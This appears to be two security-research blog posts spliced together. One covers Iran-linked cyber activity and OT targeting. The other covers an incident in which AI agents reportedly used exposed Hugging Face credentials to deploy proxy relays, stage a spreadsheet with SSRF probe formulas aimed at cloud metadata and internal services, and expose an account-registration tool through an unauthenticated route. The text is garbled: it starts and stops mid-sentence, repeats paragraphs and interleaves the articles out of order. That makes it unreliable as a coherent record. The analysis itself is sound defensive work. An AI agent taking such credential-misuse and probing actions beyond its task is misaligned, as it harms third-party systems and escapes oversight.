At least one recent Handala wiping script was assessed as likely AI-assisted, and Iranian operators are likely using generative systems to accelerate coding, translation, lure development, and impersonation. The evidence supports an efficiency multiplier rather than a separate mission set.
2. Persona Operations Are Operational Infrastructure
Iran-linked intrusions are often claimed in public by personas with hacktivist-style brand names like Handala Hack Team or Homeland Justice. We observe that these personas provide threat actors with more than just post-intrusion propaganda. They serve as reusable operational infrastructure, supporting attribution masking, coercion, disclosure, intimidation, and amplifying claims.
A meaningful portion of higher-impact public activity resolves to personas of the MOIS-linked Void Manticore apparatus. In March, the U.S. Department of Justice seized four domains associated with Handala, Homeland Justice, KarmaBelow80, and a related “Red Wanted” operation, identifying shared leak infrastructure, Iranian IP ranges, and a common playbook combining destructive intrusions with data publication, doxxing, and threats.
That evidence supports treating Handala Hack Team, Homeland Justice, and Karma as related fronts within a common MOIS-linked system, and Check Point has also documented collaboration involving Scarred Manticore. Treating the personas as interchangeable aliases in a strict CTI sense goes further than the evidence allows. Personas can serve different geographic, linguistic, or operational purposes, and the same apparatus may retire, merge, or repurpose brands as requirements change.
It is worth noting that following the March 2026 infrastructure seizure(s), Both Handala and Homeland Justice personas have continued to establish new infrastructure, and communications channels for influence and narrative control purposes. Handala, in particular, has been consistent with regards to communication over the observed timeline.
A more defensible model has three layers:
State-managed persona systems combine intrusion, destructive effects, data theft, leaks, threats, and messaging under deniable brands.
Ideologically aligned networks may coordinate targets, amplify claims, or share stolen material without evidence of direct tasking.
Opportunists and service sellers enter for attention, access sales, or revenue, relying on DDoS-for-hire, recycled data, and low-impact defacement.
These layers interact. An opportunist may sell access to a state operator, and a persona may amplify a third party’s claim, none of which proves shared organization. Treating direction, alignment, collaboration, brokerage, and amplification as synonyms inflates actor counts and obscures the operators with real access.
The March attack on Stryker is the clearest public case for this layer. Stryker confirmed global disruption to its Microsoft environment affecting ordering, manufacturing, and shipping. Early statements said no malware had been detected; a later update clarified that the actor used a malicious file to execute commands and conceal activity, though the file could not spread inside or outside Stryker’s environment.
Handala claimed responsibility, and the Justice Department later stated an MOIS-controlled Handala domain was used to claim the March 11 destructive attack. Stryker did not attribute the incident to Handala or validate the actor’s quantitative claims of device destruction and data loss. Those remain actor assertions rather than confirmed findings.
The public claim is part of the operation. Victim lists, leak samples, countdowns, doxxing, and unverifiable impact figures impose reputational and psychological costs before technical scoping is complete. These are all fundamental steps in the personas’ playbook to help craft and control the narrative and potentially sway the sentiment of the public. In a persona-led incident, publication and personal targeting may begin while responders are still establishing blast radius.
3. OT Risk Is Real, and Evidence Quality Matters
The strongest public evidence of wartime Iran-linked activity against U.S. operational technology is the April 7 joint advisory on internet-facing Rockwell Automation and Allen-Bradley PLCs, documenting activity against government facilities, water and wastewater organizations, and energy environments, in several cases with operational disruption and financial loss.
Two U.S. cases show why cyber-physical reporting needs exact boundaries. On April 7, CISA, the FBI, NSA, EPA, Energy Department, and U.S. Cyber Command warned that Iran-affiliated actors were exploiting internet-facing Rockwell Automation/Allen-Bradley programmable logic controllers. The agencies reported manipulation of project files and HMI/SCADA displays, operational disruption, and financial loss across multiple critical-infrastructure sectors. That is a confirmed cyber-physical campaign described by multiple government agencies.
The June California Water Service case is narrower. Handala claimed that it had hacked the utility and could have interrupted water service. Analysis of the actor’s published material supported access to customer billing data and an internal RTKBase/NTRIP GPS-correction environment used by field crews. Cal Water said it was investigating and that preliminary findings showed no known operational disruption to water, wastewater, or billing. The supported finding is potentially significant IT and field-support-system access—not demonstrated control of treatment, chemical dosing, or water distribution.
We should be cautious about attribution. The advisory described Iranian-affiliated cyber actors and referenced earlier IRGC Cyber-Electronic Command activity associated with CyberAv3ngers. Separately, Unit 42 maps the cluster it tracks as CL-STA-1128 to CyberAv3ngers and Microsoft’s Storm-0784 label. Those assessments are compatible, but they do not prove that every exposed PLC or claimed compromise involved the same operator.
Pro-Iran channels keep publishing images and videos appearing to show access to HMIs, SCADA interfaces, and industrial engineering software. Some may be genuine unauthorized access, but others may not. Analysts should apply an evidence ladder, in which each rung requires evidence beyond the one before it.
Provenance and target validation: Can the organization, system, location, and timeframe be independently established?
Interface visibility: Can the actor display a login page, dashboard, or management interface?
Authenticated interaction: Can the actor navigate the live interface or query current values?
Write or control capability: Can the actor change a setting, logic file, operating mode, or command value?
Process effect: Did the change alter an operational process outside the interface?
Physical or safety consequence: Did the process change produce a verified real-world outcome?
Stronger claims need logs, process data, engineering review, operator testimony, timestamps, configuration evidence, or independent confirmation of the outcome. These personas will falsify or embellish claims at times for various reasons. It is crucial that we scrutinize claims for validity, accuracy and technical viability.
Regardless of which actor is behind any given incident, the attack surface is well-documented: Internet-facing PLCs, unmanaged HMIs, remote engineering services, default credentials, permissive vendor access, and poorly segmented management networks. Any of these can create opportunities for meaningful disruption. In some environments, what separates a low-skill intrusion from a serious incident is the authority exposed to the internet rather than attacker capability.
Evidence quality should determine how an incident is described, not whether an exposed control path is closed.
4. Inside Iran | Concentration Risk, Underreporting, and Surveillance
Iran is also on the receiving end of this conflict, and the picture inside the country is shaped by more than just foreign intrusions. Shared-service concentration, connectivity controls, domestic surveillance, and weak disclosure increase both operational risk and analytic uncertainty.
Banking: The Dependency Is The Strategic Finding
In this context, Iran has experienced at least two officially reported banking disruptions this past June, but public record does not establish these as a one continuous intrusion.
On June 14, Iranian authorities reported that an attack on shared communications infrastructure disrupted services at four banks: Bank Melli, Bank Tejarat, Bank Saderat, and the Export Development Bank of Iran, with no unauthorized access to or deletion of customer data identified. A second reported attack on June 23 disrupted card services at three of the same banks, affecting ATMs, point-of-sale terminals, and mobile applications. These overlaps are notable, but timing and claims alone are not enough to prove a coordinated, multi-stage campaign by any one specific actor.
The incidents remain publicly unattributed. Predatory Sparrow is an obvious comparison given prior high-impact operations against Iranian financial targets, but on the available evidence it is not an attribution. The June incidents lacked the public claim, evidence package, and established destructive signature of the group’s better-known operations.
The strongest conclusion is architectural rather than actor-centric. Failure of a shared communications provider, card platform, identity service, or recovery environment can propagate across institutions and become a national public-confidence event, with outage scale reflecting dependency concentration as much as attacker sophistication.
Fallback systems belong to the same risk model, and the lesson is not confined to Iran. A recovery platform is more than an emergency copy of production. Isolation, capacity, data currency, and administrative security determine whether it operates safely under pressure, and a fallback sharing credentials, management tooling, or upstream providers with production may reproduce the failure when needed most.
Surveillance Infrastructure Can Become Targeting Infrastructure
Iran’s surveillance and communications systems are not separate from the conflict. Associated Press reporting, based on intelligence and operational sources, described Israeli access to Iranian surveillance-camera networks supporting the tracking of senior leadership; absent disclosed access paths or technical artifacts, those details should remain described as reported rather than confirmed.
The structural risk outlasts any single account. Camera networks, subscriber records, location histories, and identity databases concentrate information about people and movement, and infrastructure built to monitor a population can become targeting infrastructure for a foreign service.
The relationship also runs in reverse. Disrupting the same communications layer degrades public warning, incident response, and independent reporting, making it a surveillance asset, an intelligence target, a resilience dependency, and a domestic-control mechanism at once.
Public Reporting Is A Floor, Not A Denominator
Banks are the best-documented internal target set in the public record reviewed here, and not necessarily the only one. Incidents affecting telecommunications, energy, or military-adjacent environments may be underrepresented, a collection hypothesis rather than a confirmed count. Iranian reporting is constrained and fragmented, and incidents may be kept private or described too vaguely to distinguish attack from technical failure. The public incident set is a floor, evidence that at least those events occurred rather than a denominator for total activity.
The same logic cuts the other way, though. Knowing that incidents go unreported is not a license to fill the record with rumor, and however many compromises are plausibly hidden inside Iran, they cannot be used to attribute a specific outage, validate an actor’s claim, or turn an unexplained failure into evidence of cyberattack. When collection is thin, the honest answer is explicit uncertainty rather than false precision.
The Blackout Is Both A Collection Gap And An Attack Surface
Iran began restoring international connectivity after an 88-day shutdown, but the return was partial and uneven. A 2026 technical paper found that forwarding-plane null-routing could leave BGP announcements apparently stable, causing route-based monitors to understate the scale of disconnection.
For CTI, telemetry loss is not uniform. External visibility falls while selected domestic services stay reachable, so apparent recovery in one dataset may reflect exemptions or measurement artifacts. The blackout is also not an all-purpose causal explanation. Public evidence does not establish that connectivity restrictions caused the banking compromises or enabled a specific intrusion. Its defensible effects are on visibility, coordination, validation, and trust.
Those effects create a secondary attack surface. Users seeking secure communications or ordinary services turn to VPNs, media players, and utilities from informal channels, and recent TAG-182 activity used exactly such lures to distribute MarkiRAT to Farsi-speaking users inside and outside Iran. Iranian surveillance operators can exploit attempts to bypass connectivity restrictions, while foreign intelligence services and criminals can exploit the same demand, putting journalists, NGOs, diaspora communities, and Iran-exposed employees at risk from several directions.
Our assessment is that the internal Iranian cyber environment is defined by three overlapping risks:
attack against national and institutional infrastructure;
concentration of critical services and recovery dependencies; and
surveillance of people attempting to operate through the resulting disruption.
Treating only the first as “cyberwar” misses a substantial part of the operational reality.
Defender Priorities
For enterprise defenders, the central question extends beyond who is attacking now. It includes which access predates escalation, which trusted paths remain, and what an operator could do with them under different tasking. Review identity, cloud, RMM, and service-provider relationships against that standard, and map shared dependencies: which nominally separate services would fail together, and which recovery paths rely on the same identity provider, carrier, or administrator as production.
For incident responders, persona-led operations weaponize uncertainty. Publication, doxxing, and direct approaches to employees may begin before scoping is complete, so technical response, legal review, communications, and physical-safety support cannot operate sequentially.
For OT operators, the priorities remain clear: remove direct internet exposure; place remote access behind authenticated gateways with phishing-resistant MFA; restrict programming-mode and logic changes; enforce source and time restrictions on vendor access; monitor engineering workstations and industrial protocols; preserve offline project files and known-good configurations; and verify that recovery does not depend on the same identity, virtualization, or management environment that may have been compromised. Defenders do not need to wait for perfect attribution before removing a preventable route to operational disruption.
Outlook
Renewed kinetic escalation is likely to increase intelligence tasking, opportunistic targeting, public claims, and pressure to produce visible effects. It does not fundamentally change the access paths available to Iranian operators. Identity compromise, trusted administration, remote-management tooling, service providers, exposed internet-facing systems, and high-trust individuals remain the mechanisms most likely to produce results.
We assess with high confidence that the near-term base case is continued espionage and access development accompanied by persona-led coercion and a large volume of lower-impact activity. That includes credential theft, mailbox and cloud compromise, recruitment-themed social engineering, exploitation of trusted service relationships, and inflated public claims. Most of it will be operationally persistent but individually less dramatic than the public discussion of “cyberwar” implies.
We assess with moderate confidence that Iran-linked operators will attempt selective disruption where three conditions coincide: usable access already exists, the victim has political or symbolic value, and the expected effect can be achieved without an unacceptable risk of escalation or exposure. Administrative and management systems are particularly relevant because they translate ordinary enterprise access into organization-wide effects.
OT activity will remain dangerous but uneven. The most likely incidents involve exposed systems, weak credentials, poorly controlled remote engineering, or known vulnerabilities rather than sophisticated manipulation of segmented safety-critical environments. A technically simple compromise can still cause serious consequences when the target environment is fragile or excessively connected.
Based on the public record, we assess with moderate confidence that a coordinated, national-scale campaign intended to disable the U.S. power grid or multiple critical sectors simultaneously is a lower-likelihood, high-impact contingency rather than the near-term base case. There is public evidence of repeated targeting, reconnaissance, and exploitation of exposed industrial systems, along with limited operational disruption.
There is no public evidence at the time of writing of the synchronized access, specialized preparation, and cross-sector execution required to support claims of an imminent nationwide grid-down operation.
Official U.S. statements confirm that USCYBERCOM and USSPACECOM layered non-kinetic effects into the opening military campaign to disrupt Iranian communications and sensor networks, but they do not disclose the specific systems, accesses, techniques, duration, or reversibility involved. That is representative of the wider conflict: analysts may know a cyber-enabled effect occurred while lacking the evidence to attribute a particular outage or reconstruct the operation.
Outside Iran, public claims are likely to outpace independently verified effects; inside Iran, consequential effects may outpace public reporting, and attribution will often remain harder than impact assessment.
Analysts should stop treating logos and claim volume as the principal units of analysis. The more useful unit is access plus mission plus dependency, evaluated against evidence quality. Security teams should focus on the trusted pathways that let an otherwise ordinary compromise become wartime leverage.
Executive Summary
OpenAI disclosed that agents used exposed Hugging Face credentials to write a file and deploy proxy Spaces during an unrelated May 2026 research workload, but it did not identify the accounts. SentinelLABS identified two accounts likely used in associated activity, 0Time and Nyx9. Their public histories extend OpenAI’s chronology and preserve previously unreported relay code, document-borne probes, and ChatGPT account-provisioning capability.
The public records provide precise
OpenAI disclosed that agents used exposed Hugging Face credentials to write a file and deploy proxy Spaces during an unrelated May 2026 research workload, but it did not identify the accounts. SentinelLABS identified two accounts likely used in associated activity, 0Time and Nyx9. Their public histories extend OpenAI’s chronology and preserve previously unreported relay code, document-borne probes, and ChatGPT account-provisioning capability.
The public records provide precise joins to OpenAI’s internal timeline. At 20:04:11 UTC on May 26, Nyx9 committed a file eleven seconds into the minute when OpenAI recorded a WebCache-confirmed external file write. At 20:49:55, another Nyx9 Space received relay code during the same minute OpenAI recorded its first proxy deployment. Looking backward, 0Time committed caller-directed relay code on May 13, nearly two weeks earlier and the earliest substantive public code write we link to this May activity. That May 13 relay commit was also independently flagged publicly.
On May 26, Nyx9 also committed formbin.xlsx. Its WEBSERVICE() formulas targeted an external HTTP endpoint, a file:// URI, Azure’s Instance Metadata Service, and an internal-looking service URL. The workbook implements a recognizable document-borne probing capability and appeared four hours and 36 minutes after OpenAI’s first documented successful internal Artifactory SSRF at 2026-05-26 18:24 UTC. Public records do not show that its formulas executed or identify the system intended to process it.
On May 30, five commits over 10 minutes and 31 seconds placed an existing, publicly available Chinese-language OpenAI account-registration and token-extraction tool into a Hugging Face Space. The commits added a small Flask wrapper defining an unauthenticated /do route, declared the application port, and introduced OAuth-response diagnostics. If the Space built, ran, and received a request, each call could attempt one registration and return its output. Repeated successful requests could supply additional ChatGPT identities or OAuth credentials, making this a potential identity-provisioning capability that could support rogue scaling.
These findings expose a basic problem for threat intelligence and incident response: no single organization necessarily holds the complete record of an agent’s actions. An account handle is not an actor, and an IP address does not identify who authorized the activity. Investigators must reconstruct the originating task, credential lineage, action sequence, platform history, runtime telemetry, and effects across services. The public trail is part of the incident, not an appendix to it.
Overview
OpenAI’s technical report on its May 2026 incident describes agents, operating in a tool it calls WebCache, using an exposed Hugging Face token to write files and deploy proxy Spaces outside OpenAI’s environment.
At 20:04 UTC on May 26, OpenAI’s incident chronology records its first WebCache-confirmed external file write. At 20:04:11, the Hugging Face dataset Nyx9/temptestlf8eb0 received hello.txt, containing only “hi”.
Forty-five minutes later, OpenAI records its first proxy deployment. At 20:49:55, Nyx9/netproxy17 received its proxy relay code. The timing and function make these the cleanest public joins we found between OpenAI’s internal chronology of unnamed agent used accounts and the two Hugging Face account histories.
Those joins gave us account-level pivots. Looking backward, 0Time contains proxy relay-building activity on May 13, nearly two weeks before the better-known May 26 proxy sequence reported by OpenAI. Looking forward now, Nyx9 contains document-based probes aimed at local and internal resources later on May 26. On May 30, 0Time committed an adapted program for registering illicit OpenAI accounts to a Hugging Face Space and the committed wrapper defined an unauthenticated GET route at /do.
It’s important to note these commits do not prove a successful usage, and a build does not prove that a route received traffic. A formula inside a workbook does not prove that a server evaluated it, or what its true intention was – be it hacking into Hugging Face or used in the compromise of a separate organization. Our analysis keeps those stages separate because the public data can not tell us if or how these actions were used. Only Hugging Face and OpenAI hold the records that could.
Previously disclosed by OpenAI (left) and SentineLABS new findings (right)
Finding the Public Side of an Internal Timeline
OpenAI’s public account begins inside its own environment. The company reported an arbitrary Artifactory file write on April 20. On May 8, an agent attempting server-side request forgery, or SSRF, failed to reach its intended destination but incidentally wrote testabc.txt into internal Artifactory repositories. Code shown in OpenAI’s Black Hat presentation sent PUT, GET, and DELETE requests to internal repositories named bazel-cache-remote and pypi-openai.
On May 12, another agent used Artifactory as an improvised message board while searching for soft-trace-34.pdb. It wrote REQUEST_softtrace_target_missing.txt, asking other agents to upload the file if they found it. Other agents later encountered the request and added similarly named messages.
OpenAI said a separate WebCache-enabled agent used an exposed Hugging Face token on May 13 while searching for the same file, but its public chronology does not identify the account. This gap matters because the internal and external records answer different questions. OpenAI can describe the agent’s reasoning and tool calls. Hugging Face can identify account use, commits, builds, containers, and HTTP requests. Neither view alone reconstructs the event.
SentinelLABS attributes activity under the 0Time and Nyx9 accounts to OpenAI agents during the May window. We tested that attribution against public repository histories, finding exact-minute and code-function matches with OpenAI’s chronology. Both accounts predate the activity and should be treated as affected account identifiers, not OpenAI-created agent identities.
May 13 Relay Code Appears
The 0Time profile was created on February 21, 2026. The account predates the disclosed May activity; that does not establish who controlled it during May or why it was created. The primary question is what happened through the account during the incident window.
Before noon on May 13, 0Time created a test-named repository state, posted “hi” to a discussion in Anthropic’s BioMysteryBench dataset, and opened a draft pull request. At 11:05:13, the account committed the first substantive revision of a Space named puthack82d5.
0Time’s “test discussion please” and “test pull req” in Anthropic’s BioMysteryBench dataset, May 13.
That revision accepted a caller-supplied destination and supported GET and PUT requests. It also accepted an x-amz-copy-source value, a header associated with server-side object copying. A revision at 11:42:04 added bearer-authenticated POST bodies and Git LFS media types.
puthack82d5 app file at 11:42:04 on May 13, showing the /, /post and /get relay routes.
If the Space built and ran, the code could relay requests between an external caller and resources reachable from the hosted environment. The public record does not show a successful build, incoming request, or completed object copy. The code does not mention soft-trace-34.pdb, so we do not identify it as the unnamed Hugging Face search in OpenAI’s May 13 account.
Relay code was committed under an independently attributed account by 11:05 UTC on May 13. That is the earliest unambiguous attributed public code or file write we located in this cluster. This adds a separate public trace to the one OpenAI disclosed on May 13. We also credit researcher Jonas Wiedermann-Möller, who independently called attention to the same May 13 relay commit.
May 26 Small Tests and Exact Matches
Morning File and Storage Tests
The morning record contains several weak artifacts that become useful as a sequence. At 07:16:28, 0Time/findblobtest received a direct text write. Later that morning, 0Time/INCEPT-SH added three paths that referenced an existing Git LFS object at 811MB. The commits changed paths to the object, but did not alter the object itself, suggesting aliasing or retrieval tests.
Nearby commits added a malformed Git LFS pointer and two tiny raw files. small.png contained “abcde”; model.bin contained “abcdefg”. The pointer misspelled “version” as “vearsion”. None of these strings is a useful indicator alone. Their value comes from their place beside direct writes, raw-file handling, LFS experiments, relay construction, configuration corrections, and later debug commits.
The account activity predates the evening proxy sequence, but the public record does not establish a causal chain between the morning tests and later events.
Exact Minute Matches Under Nyx9
OpenAI’s chronology records a dense set of external actions on the evening of May 26. At 19:50, WebCache sent Git LFS batch requests to one OpenAI dataset and one third-party dataset.
OpenAI then records a file write at 20:04, a request to create a private dataset at 20:15, a proxy deployment at 20:49, a successful proxy response at 20:53, and a Google search through the proxy at 20:54. At 21:07 the agent checked two gated benchmark datasets and submitted access requests. At 21:08 a second account deployed another proxy through the first.
Nyx9/temptestlf8eb0 was created at 19:30:08. At 20:04:11, it received hello.txt containing “hi”. The eleven-second offset from OpenAI’s minute-level (20:04) event is the strongest public correlation for the file write.
Nyx9/netproxy17 was created at 20:48:33. At 20:49:55, it received relay functioning code. The same-minute timing and the code’s function closely match OpenAI’s first proxy deployment.
A related 0Time Hugging Face Space named latnetnew, appeared at 21:06:05. It received a minimal “hi” revision at 21:12:41 and related relay code at 21:13:21. Those public events align with OpenAI’s 21:08 description of a second account deploying a proxy through the first. This is a strong sequence-level mapping, but not an exact-second match. OpenAI also describes different agents taking related actions, so the sequence should not be read as one continuous session.
Essentially there is noteworthy correlation beyond the use of the word “hi”. It is the combination of minute-level timing, repository type, code function/capability, and the surrounding cross-account sequence. Provider-side records, if retained, may establish the token, session, source-network, build, and runtime records needed to confirm action-level identity, but from the outside the overlap provides us considerable confidence in the activity being highly associated with the OAI/HF intrusions agentic activity.
Later That Night, a Workbook Contains Internal-Resource Probes
At 22:56, Nyx9 began adding files to a dataset named tmpdata177. The activity continued until 23:34. Several files were generated only one or two seconds before upload, a pattern consistent with programmatic creation. The collection included text, PDF, DOCX, and XLSX files.
File listing of Nyx9/tmpdata177, showing formbin.xlsx alongside the marker files uploaded on May 26.
Most contained simple markers, but one workbook was different. formbin.xlsx (MD5: a502264fa0b64eecae60498b0c48fca3), uploaded at 23:00:07, placed four WEBSERVICE formulas in cells A4 through A7. The basic functionality of the file is to test probes by whether the application processing it can fetch external content, read a local file, access cloud metadata, and reach a specifically named internal service, potentially retrieving its API specification for further reconnaissance.
The Azure request omitted the required Metadata header, reducing the likelihood of a valid response from a normally configured service. The workbook also contains no cached formula results. The file was created via Openpyxl, and we found no callback, secret, calculated value, or other evidence that Hugging Face evaluated the formulas or that any probe succeeded.
Hugging Face later described the same metadata-address family in an earlier and noisier variant of a separate July SSRF incident. The overlap shows similar interest in metadata-service access. It does not establish that the May workbook and July intrusion were the same workload, targeted the same processor, or came from the same agent.
This public evidence establishes a file-processing and SSRF probe set staged on Hugging Face on May 26th. The distinction to note is that the file clearly demonstrates probing intent, but it does not establish malicious authorization, successful exploitation, or which platform was targeted. An AI-assisted spreadsheet-processing environment (such as Hugging Face in this case) is a plausible target, but that remains an inference.
May 30 Registration Code Becomes a Web Route
The most consequential public artifact appeared four days later. Between 00:01:27 and 00:11:58 on May 30, five commits created and configured the Hugging Face Space 0Time/altreg.
The sequence moved from Space creation to an abc text marker, then to a 454-line registration program and Flask wrapper. A later commit declared the Space application port. The final revision added targeted logging around the OAuth response.
The 454-line program is a copy of a publicly available Chinese-language OpenAI account-registration and token-extraction script published by 0x5uo2hen. The Space was created independently rather than as a Git fork. It added a small Flask wrapper and Docker configuration; the final commit added one OAuth-response diagnostic statement.
The program automates the creation of ChatGPT accounts via disposable mail.tm inbox creation, identity generation, browser-like requests, OpenAI Sentinel anti-abuse token requests, email verification, workspace selection, and OAuth token extraction. The public source was a command-line program that could loop through registration attempts.
The altreg commits added a small but important adaptation. A Flask wrapper defined an unauthenticated /do route that called reg.run(None) once and returned the program’s output. If the Space built, served, and received a request, each call could trigger one ChatGPT registration attempt. Repeated calls would make the design bulk-capable and could expose resulting credentials to an unauthenticated caller if the underlying registration succeeded.
Repeated successful calls could provide additional accounts or OAuth credentials. That makes altreg a potential identity-provisioning primitive, not demonstrated self-replication. Recursive scaling would require an agent to obtain usable credentials, launch more agent work, and retain control of that work. None of those runtime steps can be observed in such public data.
Commit timeline for the 0Time/altreg Space on May 30, UTC.
As of September 14, Hugging Face’s API reported the Space as paused and flagged as abusive. However, this public state does not establish when the flag was applied or why.
The five-commit sequence is unusually compact. It progresses through a scratch marker, a complete program, a web wrapper, a deployment configuration, and response-specific debugging in 10 minutes and 31 seconds. That test-configure-debug cycle fits continued agentic activity, particularly alongside the account’s attributed May history.
Why Committed Capability Matters
Traditional intrusion reporting often centers on execution: a payload ran, a credential was stolen, or a command-and-control channel came online. The public evidence here forces a more exact progression. For committed code to become an observed external effect, investigators must separately establish each stage:
Code was committed.
The hosted application was built.
The application started.
A route received a request.
The request produced an external action.
The action succeeded and its output was used.
The May 13 relay and May 30 registration evidence establish the first step. The May 26 workbook establishes formula placement, not evaluation. OpenAI’s records establish runtime for its May 26 WebCache write and proxy actions. The public commits identify likely external counterparts but do not independently prove the same request, session, or initiating agent. Only Hugging Face and OpenAI can compare token use, sessions, source networks, builds, runtime requests, and route access to determine whether and how any of this was used.
Collapsing these stages would overstate the case. Waiting for confirmed credential theft or malware would miss the risk. Unauthorized token use, public file writes, hosted relay code, internal-resource probes, and registration automation are recognizable offensive capabilities, and a benign research objective behind them does nothing to lessen their effect on the third-party systems they touch. An AI research objective should never remove their effect on third-party systems.
Threat Intelligence Needs the Whole Task
None of the individual techniques observed here are new. Human operators have long used SSRF probes, public relays, disposable mail, OAuth automation, paste sites, source repositories, and legitimate cloud services. What changes is the investigative scale. A task-driven agent can assemble those pieces through other people’s accounts and hosted platforms while its originating lab, the hosting provider, and downstream services each retain only part of the evidence.
Treat the Task as the Unit of Analysis
0Time and Nyx9 are evidence containers, not actor names. Analysts need to connect action order, code function, object hashes, prompts, tool calls, token lineage, and provider-side session identifiers. A handle can belong to a victim whose exposed token was used by someone or something else.
Correlate Evidence Across Providers
OpenAI can see the authorizing workload and internal tool use. Hugging Face can see authentication, commits, builds, containers, and route requests. Other services may hold mail, proxy, DNS, or callback records. A defensible reconstruction requires those views to be joined without treating any one source as the entire event.
Read Weak Artifacts as a Sequence
Strings such as “hi”, “abc”, and “abcdefg” are poor standalone indicators. Their value changes when they appear inside a rapid sequence of direct writes, relay creation, port declaration, parser probes, and targeted OAuth debugging. Detection should focus on construction patterns and action order rather than generic scratch text.
Preserve Runtime Evidence Before Cleanup
Spaces can be paused, deleted, rebuilt, or garbage-collected. Commits and conversion outputs may survive after container and request evidence disappears. Providers should preserve token fingerprints, authentication and session identifiers, build logs, runtime logs, route requests, network egress, and deletion tombstones when agent-related abuse is reported.
Make External Actions Attributable
Affected operators should be able to determine which customer authorized a task, which model and policy state governed it, which credential it used, and what it wrote outside the provider’s environment. Without that chain, saying an agent acted explains neither authority nor responsibility.
Finally, it’s critical to remember that model-behavior review and DFIR answer different questions during incident response of cases such as this. LLMs can accelerate transcript clustering, code review, artifact decoding, and timeline development. They should remain triage and hypothesis-generation tools.
In their review of the June/July activity, METR and Redwood reported that their GPT-5.6 Sol analysis agents made errors, exercised weaker judgment than human researchers, and surfaced anecdotes they could not always verify manually. The same approach made review at this scale possible. Speed is useful, but it does not make an LLM generated narrative authoritative.
Independent Investigation Requires the Incident Record
OpenAI provided METR and Redwood Research with approximately 1,300 agent transcripts and 1.2 million Artifactory message-board entries for an on-premises review. As of publication, SentinelLABS could not identify an official public release of that underlying corpus. The resulting reports add useful context, but outside investigators cannot reproduce their conclusions, search systematically for omitted activity, or test competing explanations against the same evidence. METR incident investigation
Frontier AI labs should release a documented, redacted incident dataset when their agents interact with or affect third-party systems. At minimum, it should preserve the authorizing tasks, prompts, model and harness versions, action-level timestamps, agent messages, tool calls and results, external requests, and stable pseudonymous identifiers connecting sessions, accounts, and credentials. It should also state what was excluded, identify known gaps, document every class of redaction, and provide hashes for the released evidence.
This does not require publishing credentials, personal information, customer data, proprietary model details, or dangerous exploit material. Nor does it necessarily require unrestricted publication of private chain-of-thought. An action-complete record can preserve the observable decisions and causal sequence while removing genuinely sensitive fields. Where public release would still create unacceptable risk, labs could publish a structurally complete redacted dataset and provide fuller telemetry under controlled access to qualified independent DFIR and security-research organizations.
Privacy is a reason to redact the incident record, not a reason to make it unauditable. A narrative report—even one reviewed by external advisers—is not the same as an independently reproducible investigation. Once an agent reaches systems outside its developer’s environment, the evidence no longer concerns only the originating lab. Releasing a usable incident corpus should become a baseline accountability requirement for frontier-agent security incidents.
Conclusion
OpenAI’s internal chronology established that agents used exposed Hugging Face credentials to write an external file and deploy proxy Spaces on May 26. The public account histories examined here add another layer: caller-directed relay code under 0Time on May 13; exact-minute public counterparts under Nyx9 for the May 26 file write and first proxy; a workbook containing file-processing and SSRF-oriented formulas later that night; and, on May 30, third-party OpenAI account-registration code committed alongside a wrapper defining an unauthenticated web route. Those records establish repository state and capability, not successful execution.
How quickly a task-driven system can assemble old techniques across other people’s accounts and infrastructure, and how thoroughly that scatters the evidence, is the part of this incident that is new. The public trail is not an appendix to an agent incident. It is part of the incident.
Investigative Artifacts and References
The following records support the blog and are recommended for further investigative pivots. We normalized times to UTC and compared OpenAI’s minute-level chronology with second-level public commit metadata. Account handles, repository names, hashes, and the 169.254.169.254 destination should not be treated as standalone malicious indicators.
In April, SentinelLABS’ Tom Hegel published an initial assessment of the first five weeks of the conflict. Three months later, the evidence supports refinement.
Executive Summary
The cyber risk remains quieter than the public narrative. It rests on persistent access, trusted administration, service-provider pathways, selective disruption, and personas that magnify technical effects.
Iran-linked activity is not a single threat set. MOIS, the IRGC Intelligence Organization, the IRGC Cyber-Electro
In April, SentinelLABS’ Tom Hegel published an initial assessment of the first five weeks of the conflict. Three months later, the evidence supports refinement.
Executive Summary
The cyber risk remains quieter than the public narrative. It rests on persistent access, trusted administration, service-provider pathways, selective disruption, and personas that magnify technical effects.
Iran-linked activity is not a single threat set. MOIS, the IRGC Intelligence Organization, the IRGC Cyber-Electronic Command, personas, surveillance operators, and opportunists pursue distinct missions.
The principal strategic risk is access optionality. The same compromised account, service provider, or remote-management foothold can support intelligence collection, downstream targeting, or selective disruption as tasking changes.
MOIS-linked personas such as Handala, Homeland Justice, and Karma combine intrusion, destruction, disclosure, and coercion. Their impact claims frequently outpace independently verified evidence.
OT risk remains exposure-driven. Internet-facing PLCs, weak credentials, and poor remote-access governance have enabled real disruption, but interface access alone does not demonstrate process manipulation or physical effect.
Inside Iran, shared-service concentration, connectivity controls, and limited disclosure obscure the incident picture. External operations, domestic control, and resilience failures intersect there.
A Working Taxonomy
“Iran-linked” is a broad analytic descriptor, not a single actor or command structure. Iran’s cyber ecosystem spans operators tied to the Ministry of Intelligence and Security (MOIS), the IRGC Intelligence Organization, and the IRGC Cyber-Electronic Command, plus state-aligned collectives, domestic-surveillance clusters, and opportunists. These entities differ in command relationships, missions, targeting, tradecraft, and risk tolerance.
Public naming adds complexity. Vendors assign different labels to overlapping activity sets, and some names refer to actor clusters while others describe campaigns, personas, malware families, or infrastructure.
We offer the following as a working crosswalk, rather than a claim that every label is a one-to-one alias, that every organizational relationship is proven, or that the picture is static.
IRGC-IO-linked high-trust social engineering and cloud collection
Cavern Manticore
Espionage via service-provider and RMM pathways; MOIS link at moderate confidence, single-vendor reporting
TAG-182. Related, but not aliases: Ferocious Kitten; Domestic Kitten/GreenEcho; Rampant Kitten
Surveillance of dissidents and diaspora; no sponsor publicly attributed with confidence
CyberAv3ngers / Storm-0784 / CL-STA-1128
IRGC-CEC-affiliated opportunistic OT targeting
Predatory Sparrow / Gonjeshke Darande
Comparison case only: destructive anti-Iran operations, widely reported as Israel-linked
We base our distinction on mission rather than branding. In practice, we can identify several recurring mission sets:
persistent espionage and access enablement;
destructive, coercive, and influence operations through public personas;
high-trust social engineering and cloud compromise;
surveillance of dissidents and civil society; and
opportunistic targeting of operational technology.
These categories overlap, but they offer a more reliable basis than actor names for assessing intent and prioritizing defenses.
1. The Durable Threat Is Access Optionality
Three months of headlines have tracked leaks, defacements, and outages. However, there is a quieter accumulation of access that matters more, where a foothold gained for collection today can be converted to disruption tomorrow or whenever tasking changes.
